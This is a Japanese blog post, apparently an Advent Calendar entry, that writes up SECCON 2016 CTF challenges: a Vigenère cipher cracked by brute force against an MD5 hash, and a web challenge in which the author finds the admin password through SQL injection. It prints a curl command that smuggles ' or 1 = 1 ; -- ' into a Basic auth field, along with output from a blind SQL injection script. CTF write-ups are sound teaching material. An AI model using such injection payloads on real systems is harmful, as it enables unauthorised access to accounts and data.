この記事はOIC ITCreate Club Advent Calendar 2016 の14日目の記事にしました。
http://www.adventar.org/calendars/1484
カレンダーの空きが目立つので埋めようと思って、
SECCONに4,5時間くらい参加してたので、それのアレをちょっと書きます。
Wiresharkで聞くだけ
リスニング力の無さがひどくて10回くらい試したら通った感じだった
k: ????????????
p: SECCON{???????????????????????????????????}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe
ヴィジュネル暗号
変換表に従ってSECCON{
のところのkeyは戻せるので、
SECCON{
LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
↓
VIGENER
まで分かる
あと、問題文の????????????
から鍵が12文字で、key<plain
なので暗号化の際に鍵は12文字ずつ繰り返されるので
VIGENER?????VIGENER?????VIGENER?????VIGENER
LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
SECCON{?????BCDEDEF?????KLMNOPQ?????VWXYYZ}
となるとこまでわかるし、多分VIGENERのあとはEなのであと4文字くらいは適当に総当りする
md5(p)=f528a6ab914c1ecf856a1d93103948fe
らしいので、便利そうなヴィジュネル暗号のライブラリとか見つからなかったので、それっぽいのをお借りしてこんな感じで総当り
py solv.py
VIGENEREABCD SECCON{ADNCBBCDEDEFGJVKKKLMNOPQRUEUVVWXYYZ} cee8006c9800d7ddf4630dce7c191cb5
VIGENEREABCE SECCON{ADNCABCDEDEFGJVKJKLMNOPQRUEUUVWXYYZ} b5d351781cda06048d8d14900a8b1eb3
VIGENEREABCF SECCON{ADNC}BCDEDEFGJVKIKLMNOPQRUEUTVWXYYZ} ddc2a5640207296eab0fe4c159016457
...
VIGENERECODA SECCON{ABABEBCDEDEFGHIJNKLMNOPQRSTTYVWXYYZ} c86a4582c4bd5a9216f6a99cd049e19f
VIGENERECODB SECCON{ABABDBCDEDEFGHIJMKLMNOPQRSTTXVWXYYZ} 0f8b329e65472e1e223810b8f79ac2e2
VIGENERECODE SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ} f528a6ab914c1ecf856a1d93103948fe
SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}
(時間内に解き終わらなかった
basiq
What is admin's password?☺
http://basiq.pwn.seccon.jp
adminのパスワードを探せとのこと。
http://basiq.pwn.seccon.jp/javascripts/client.js でadminでgrepすると
var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
if(loginuser == 'admin'){
links.push({label:'Admin', href:'/admin/'});
}
とあるので、/admin
に接続するとBasic認証を求められる。
SQLiが出来るのではとか思い、
curl -u "admin:' or 1 = 1 ; -- '" http://basiq.pwn.seccon.jp/admin/
<!DOCTYPE html>
<html>
<head>
<title>SECCON Horse Racing</title>
<link rel="stylesheet" href="/stylesheets/style.css"/>
<script src="/javascripts/jquery-3.1.1.min.js"></script>
<script src="/admin/admin.js"></script>
とかするとSQLi出来るみたいだということがわかる。 admin.jsには
$(function(){
$.getJSON("admin.cgi", betting);
});
とあるのでadmin.cgiにアクセスしてみると、JSONを返す。
あとはこんな感じで blindSQLiのアレを書いて
$ ruby bli_qli.rb
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 passlength:16
BTKOQRS"S"
BTKFDE"SE"
BTKFDC"SEC"
BTKFDC"SECC"
BTKO"SECCO"
BTKOMN"SECCON"
BT]{"SECCON{"
BTKFDC"SECCON{C"
B09=?@A"SECCON{CA"
BTKOQR"SECCON{CAR"
BTKOMN"SECCON{CARN"
BTKFHI"SECCON{CARNI"
BT]XV"SECCON{CARNIV"
B09=?@A"SECCON{CARNIVA"
BTKOML"SECCON{CARNIVAL"
BT]{}"SECCON{CARNIVAL}"
flag is :SECCON{CARNIVAL}
やはり今年は良い問題が多かったみたいなので、もうちょっと頑張りたかった。